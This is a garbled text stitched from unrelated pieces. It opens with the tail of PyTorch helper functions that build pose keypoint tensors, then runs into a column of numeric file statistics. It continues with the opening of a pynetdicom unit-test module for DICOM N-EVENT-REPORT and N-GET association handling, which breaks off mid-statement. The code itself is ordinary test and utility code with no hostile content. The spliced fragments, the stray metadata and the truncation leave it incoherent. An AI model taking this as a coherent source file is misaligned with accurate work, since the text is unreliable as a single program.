kpt_coordinates[1, 2, :] = torch.tensor([0.0, 0.0, 1.0])
kpt_coordinates[1, 3, :] = torch.tensor([0.05, 0.4, 1.0])
kpt_coordinates[1, 4, :] = torch.tensor([-0.4, -0.15, 1.0])
kpt_coordinates[1, 5, :] = torch.tensor([-0.65, -0.4, 1.0])
kpt_coordinates[1, 6, :] = torch.tensor([-0.25, 0.5, 1.0])
# T=2
kpt_coordinates[2, 0, :] = torch.tensor([0.75, -0.05, 1.0])
kpt_coordinates[2, 1, :] = torch.tensor([0.35, -0.05, 1.0])
kpt_coordinates[2, 2, :] = torch.tensor([0.0, 0.0, 1.0])
kpt_coordinates[2, 3, :] = torch.tensor([0.0, 0.45, 1.0])
kpt_coordinates[2, 4, :] = torch.tensor([-0.4, -0.15, 1.0])
kpt_coordinates[2, 5, :] = torch.tensor([-0.6, -0.4, 1.0])
kpt_coordinates[2, 6, :] = torch.tensor([-0.35, 0.4, 1.0])
# T=3
kpt_coordinates[3, 0, :] = torch.tensor([0.75, 0.0, 1.0])
kpt_coordinates[3, 1, :] = torch.tensor([0.4, 0.0, 1.0])
kpt_coordinates[3, 2, :] = torch.tensor([0.05, 0.05, 1.0])
kpt_coordinates[3, 3, :] = torch.tensor([-0.1, 0.4, 1.0])
kpt_coordinates[3, 4, :] = torch.tensor([-0.35, -0.15, 1.0])
kpt_coordinates[3, 5, :] = torch.tensor([-0.6, -0.45, 1.0])
kpt_coordinates[3, 6, :] = torch.tensor([-0.45, 0.3, 1.0])
return kpt_coordinates
def get_bad_keypoints(T: int):
""" Use manual seed to use the same key-points each time... """
kpt_coordinates = torch.zeros((T, 7, 3))
# T=0
kpt_coordinates[0, 0, :] = torch.tensor([0.7, -0.15, 1.0]) # Head
kpt_coordinates[0, 1, :] = torch.tensor([0.35, -0.1, 1.0]) # Upper Body
kpt_coordinates[0, 2, :] = torch.tensor([0.0, 0.0, 1.0]) # Lower Body
kpt_coordinates[0, 3, :] = torch.tensor([0.1, 0.4, 1.0]) # Left knee
kpt_coordinates[0, 4, :] = torch.tensor([-0.4, -0.15, 1.0]) # Right knee
kpt_coordinates[0, 5, :] = torch.tensor([-0.65, -0.4, 1.0]) # Right foot
kpt_coordinates[0, 6, :] = torch.tensor([-0.25, 0.5, 1.0]) # Left foot
# T=1
kpt_coordinates[1, 0, :] = torch.tensor([0.7, -0.15, 1.0])
kpt_coordinates[1, 1, :] = torch.tensor([0.35, -0.1, 1.0])
kpt_coordinates[1, 2, :] = torch.tensor([0.0, 0.0, 1.0])
kpt_coordinates[1, 3, :] = torch.tensor([0.05, 0.4, 1.0])
kpt_coordinates[1, 4, :] = torch.tensor([-0.4, -0.15, 1.0])
kpt_coordinates[1, 5, :] = torch.tensor([-0.65, -0.4, 1.0])
kpt_coordinates[1, 6, :] = torch.tensor([-0.25, 0.5, 1.0])
# T=2
kpt_coordinates[2, 0, :] = torch.tensor([-0.7, -0.15, 1.0])
kpt_coordinates[2, 1, :] = torch.tensor([-0.35, -0.1, 1.0])
kpt_coordinates[2, 2, :] = torch.tensor([0.0, 0.0, 1.0])
kpt_coordinates[2, 3, :] = torch.tensor([0.0, 0.45, 1.0])
kpt_coordinates[2, 4, :] = torch.tensor([-0.4, -0.15, 1.0])
kpt_coordinates[2, 5, :] = torch.tensor([-0.6, -0.4, 1.0])
kpt_coordinates[2, 6, :] = torch.tensor([-0.35, 0.4, 1.0])
# T=3
kpt_coordinates[3, 0, :] = torch.tensor([0.7, -0.15, 1.0])
kpt_coordinates[3, 1, :] = torch.tensor([-0.35, -0.1, 1.0])
kpt_coordinates[3, 2, :] = torch.tensor([0.05, 0.05, 1.0])
kpt_coordinates[3, 3, :] = torch.tensor([-0.1, 0.4, 1.0])
kpt_coordinates[3, 4, :] = torch.tensor([-0.35, -0.15, 1.0])
kpt_coordinates[3, 5, :] = torch.tensor([-0.6, -0.45, 1.0])
kpt_coordinates[3, 6, :] = torch.tensor([-0.45, 0.3, 1.0])
return kpt_coordinates
def get_random_keypoints(T: int):
kpt_coordinates = torch.rand((T, 7, 3))
kpt_coordinates[..., :2] *= 2.0
kpt_coordinates[..., :2] -= 1.0
kpt_coordinates[..., 2] = 1.0
return kpt_coordinates
| 45.520833
| 77
| 0.561785
| 801
| 4,370
| 2.97628
| 0.061174
| 0.381711
| 0.281879
| 0.248322
| 0.963087
| 0.954279
| 0.937919
| 0.934144
| 0.934144
| 0.921141
| 0
| 0.14756
| 0.193593
| 4,370
| 95
| 78
| 46
| 0.528944
| 0.064989
| 0
| 0.768116
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043478
| false
| 0
| 0.014493
| 0
| 0.101449
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
4d0af8f11069688abd3511b5454ca1ec0cd60aef
| 101,194
|
py
|
Python
|
pynetdicom/tests/test_assoc_n.py
|
edmcdonagh/pynetdicom-1
|
9156c1adb34bb01580b9ba7247e78d699f38bbb7
|
[
"MIT"
] | null | null | null |
pynetdicom/tests/test_assoc_n.py
|
edmcdonagh/pynetdicom-1
|
9156c1adb34bb01580b9ba7247e78d699f38bbb7
|
[
"MIT"
] | null | null | null |
pynetdicom/tests/test_assoc_n.py
|
edmcdonagh/pynetdicom-1
|
9156c1adb34bb01580b9ba7247e78d699f38bbb7
|
[
"MIT"
] | null | null | null |
"""Association testing for DIMSE-N services"""
from io import BytesIO
import queue
import time
import pytest
from pydicom.dataset import Dataset
from pydicom.tag import Tag
from pydicom.uid import UID, ImplicitVRLittleEndian, ExplicitVRLittleEndian
from pynetdicom import AE, debug_logger, evt
from pynetdicom.dimse_primitives import (
N_EVENT_REPORT, N_GET, N_SET, N_ACTION, N_CREATE, N_DELETE
)
from pynetdicom.dsutils import encode, decode
from pynetdicom.sop_class import (
DisplaySystemSOPClass,
VerificationSOPClass,
PrintJobSOPClass,
ModalityPerformedProcedureStepNotificationSOPClass,
ModalityPerformedProcedureStepRetrieveSOPClass,
ModalityPerformedProcedureStepSOPClass,
ProceduralEventLoggingSOPClass,
BasicFilmSessionSOPClass,
BasicGrayscalePrintManagementMetaSOPClass,
BasicColorPrintManagementMetaSOPClass,
PrinterSOPClass,
)
from pynetdicom.service_class import ServiceClass
#debug_logger()
class DummyDIMSE(object):
def __init__(self):
self.status = None
def send_msg(self, req, context_id):
self.req = req
self.context_id = context_id
def get_msg(self, block=False):
return None, None
class TestAssociationSendNEventReport(object):
"""Run tests on Assocation send_n_event_report."""
def setup(self):
self.ae = None
def teardown(self):
"""Clear any active threads"""
if self.ae:
self.ae.shutdown()
def test_must_be_associated(self):
"""Test can't send without association."""
def handle(event):
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.release()
assert not assoc.is_established
with pytest.raises(RuntimeError):
assoc.send_n_event_report(None, None, None, None)
scp.shutdown()
def test_no_abstract_syntax_match(self):
"""Test SCU when no accepted abstract syntax"""
def handle(event):
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
msg = (
r"No presentation context for 'Verification SOP Class' has been "
r"accepted by the peer for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_event_report(
None, None, VerificationSOPClass, None
)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rq_bad_dataset_raises(self):
"""Test sending bad dataset raises exception."""
def handle(event):
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(
ModalityPerformedProcedureStepNotificationSOPClass,
ExplicitVRLittleEndian
)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PerimeterValue = b'\x00\x01'
msg = r"Unable to encode the supplied 'Event Information' dataset"
with pytest.raises(ValueError, match=msg):
assoc.send_n_event_report(
ds, 1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.3'
)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_none(self):
"""Test no response from peer"""
def handle(event):
time.sleep(0.5)
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 0.4
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds, 1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_invalid(self):
"""Test invalid DIMSE message received from peer"""
def handle(event):
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyResponse():
is_valid_response = False
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs): return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return None, DummyResponse()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds, 1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_failure(self):
"""Test receiving a failure response from the peer"""
def handle(event):
return 0x0112, None
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds, 1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0112
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_warning(self):
"""Test receiving a warning response from the peer"""
def handle(event):
return 0x0116, event.event_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds, 1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0116
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_success(self):
"""Test receiving a success response from the peer"""
def handle(event):
return 0x0000, event.event_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds, 1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0000
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_unknown_status(self):
"""Test unknown status value returned by peer"""
def handle(event):
return 0xFFF0, event.event_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds, 1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0xFFF0
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_bad_dataset(self):
"""Test handler returns bad dataset"""
def handle(event):
def test(): pass
return 0x0000, test
self.ae = ae = AE()
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
handlers = [(evt.EVT_N_EVENT_REPORT, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.acse_timeout = 5
ae.dimse_timeout = 5
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
# Event Information
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds,
1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
assoc.release()
scp.shutdown()
def test_decode_failure(self):
"""Test being unable to decode received dataset"""
def handle(event):
def test(): pass
return 0x0000, test
self.ae = ae = AE()
ae.add_requested_context(
ModalityPerformedProcedureStepNotificationSOPClass,
ExplicitVRLittleEndian
)
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
handlers = [(evt.EVT_N_EVENT_REPORT, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.acse_timeout = 5
ae.dimse_timeout = 5
assoc = ae.associate('localhost', 11112)
class DummyReply():
def getvalue(self):
def test(): pass
return test
class DummyMessage():
is_valid_response = True
EventReply = DummyReply()
Status = 0x0000
STATUS_OPTIONAL_KEYWORDS = []
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs):
return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return 1, DummyMessage()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
assert assoc.is_established
# Event Information
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds,
1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
assoc.release()
scp.shutdown()
def test_extra_status(self):
"""Test extra status elements are available."""
def handle(event):
status = Dataset()
status.Status = 0xFFF0
status.ErrorComment = 'Some comment'
status.ErrorID = 12
status.AffectedSOPClassUID = '1.2.3'
status.AffectedSOPInstanceUID = '1.2.3.4'
return status, event.event_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepNotificationSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepNotificationSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds, 1,
ModalityPerformedProcedureStepNotificationSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0xFFF0
assert status.ErrorComment == 'Some comment'
assert status.ErrorID == 12
assert status.AffectedSOPClassUID == '1.2.3'
assert status.AffectedSOPInstanceUID == '1.2.3.4'
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_meta_uid(self):
"""Test using a Meta SOP Class"""
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_supported_context(PrinterSOPClass)
scp = ae.start_server(('', 11112), block=False)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_requested_context(PrinterSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
# Receives None, None from DummyDIMSE, aborts
status, ds = assoc.send_n_event_report(
ds, 1,
PrinterSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert assoc.is_aborted
scp.shutdown()
assert assoc.dimse.req.AffectedSOPClassUID == PrinterSOPClass
assert assoc.dimse.context_id == 1
assert assoc._accepted_cx[1].abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_good(self):
"""Test sending a request using a Meta SOP Class."""
handler_data = []
def handle(event):
handler_data.append(event)
return 0x0000, event.event_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_event_report(
ds, 1,
BasicFilmSessionSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert status.Status == 0x0000
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
req = handler_data[0].request
cx = handler_data[0].context
assert req.AffectedSOPClassUID == BasicFilmSessionSOPClass
assert cx.abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_bad(self):
"""Test sending a request using a Meta SOP Class."""
def handle(event):
return 0x0000, event.event_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_EVENT_REPORT, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
msg = (
r"No presentation context for 'Basic Color Print Management "
r"Meta SOP Class' has been "
r"accepted by the peer "
r"for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_event_report(
ds, 1,
BasicFilmSessionSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicColorPrintManagementMetaSOPClass
)
assoc.release()
assert assoc.is_released
scp.shutdown()
class TestAssociationSendNGet(object):
"""Run tests on Assocation send_n_get."""
def setup(self):
"""Run prior to each test"""
self.ae = None
def teardown(self):
"""Clear any active threads"""
if self.ae:
self.ae.shutdown()
def test_must_be_associated(self):
"""Test can't send without association."""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assoc.release()
assert assoc.is_released
assert not assoc.is_established
with pytest.raises(RuntimeError):
assoc.send_n_get(None, None, None)
scp.shutdown()
def test_no_abstract_syntax_match(self):
"""Test SCU when no accepted abstract syntax"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
msg = (
r"No presentation context for 'Verification SOP Class' has been "
r"accepted by the peer "
r"for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_get(None, VerificationSOPClass, None)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_none(self):
"""Test no response from peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
time.sleep(0.5)
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 0.4
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status, ds = assoc.send_n_get(
[(0x7fe0,0x0010)],
DisplaySystemSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_invalid(self):
"""Test invalid DIMSE message received from peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyResponse():
is_valid_response = False
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs): return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return None, DummyResponse()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
assert assoc.is_established
status, ds = assoc.send_n_get([(0x7fe0,0x0010)],
DisplaySystemSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_failure(self):
"""Test receiving a failure response from the peer"""
def handle(event):
return 0x0112, None
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status, ds = assoc.send_n_get([(0x7fe0, 0x0010)],
DisplaySystemSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0x0112
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_warning(self):
"""Test receiving a warning response from the peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0x0116, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status, ds = assoc.send_n_get([(0x7fe0,0x0010)],
DisplaySystemSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0x0116
assert ds is not None
assert isinstance(ds, Dataset)
assert ds.PatientName == 'Test'
assert ds.SOPClassUID == DisplaySystemSOPClass
assert ds.SOPInstanceUID == '1.2.3.4'
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_success(self):
"""Test receiving a success response from the peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status, ds = assoc.send_n_get([(0x7fe0,0x0010)],
DisplaySystemSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0x0000
assert ds is not None
assert isinstance(ds, Dataset)
assert ds.PatientName == 'Test'
assert ds.SOPClassUID == DisplaySystemSOPClass
assert ds.SOPInstanceUID == '1.2.3.4'
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_unknown_status(self):
"""Test unknown status value returned by peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0xFFF0, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status, ds = assoc.send_n_get([(0x7fe0,0x0010)],
DisplaySystemSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0xFFF0
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_bad_dataset(self):
"""Test handler returns bad dataset"""
def handle(event):
def test(): pass
return 0x0000, test
self.ae = ae = AE()
ae.add_requested_context(ModalityPerformedProcedureStepRetrieveSOPClass)
ae.add_supported_context(ModalityPerformedProcedureStepRetrieveSOPClass)
handlers = [(evt.EVT_N_GET, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.acse_timeout = 5
ae.dimse_timeout = 5
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
# Event Information
attrs = [0x00100010, 0x00100020]
status, ds = assoc.send_n_get(
attrs,
ModalityPerformedProcedureStepRetrieveSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
assoc.release()
scp.shutdown()
def test_decode_failure(self):
"""Test bad dataset received from peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyReply():
def getvalue(self):
def test(): pass
return test
class DummyMessage():
is_valid_response = True
AttributeList = DummyReply()
Status = 0x0000
STATUS_OPTIONAL_KEYWORDS = []
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs):
return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return 1, DummyMessage()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
assert assoc.is_established
status, ds = assoc.send_n_get(
[(0x7fe0,0x0010)],
DisplaySystemSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
scp.shutdown()
def test_extra_status(self):
"""Test extra status elements are available."""
def handle(event):
ds = Dataset()
ds.Status = 0xFFF0
ds.ErrorComment = 'Some comment'
ds.ErrorID = 12
ds.AttributeIdentifierList = [0x00100020]
return ds, None
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(DisplaySystemSOPClass)
scp = ae.start_server(
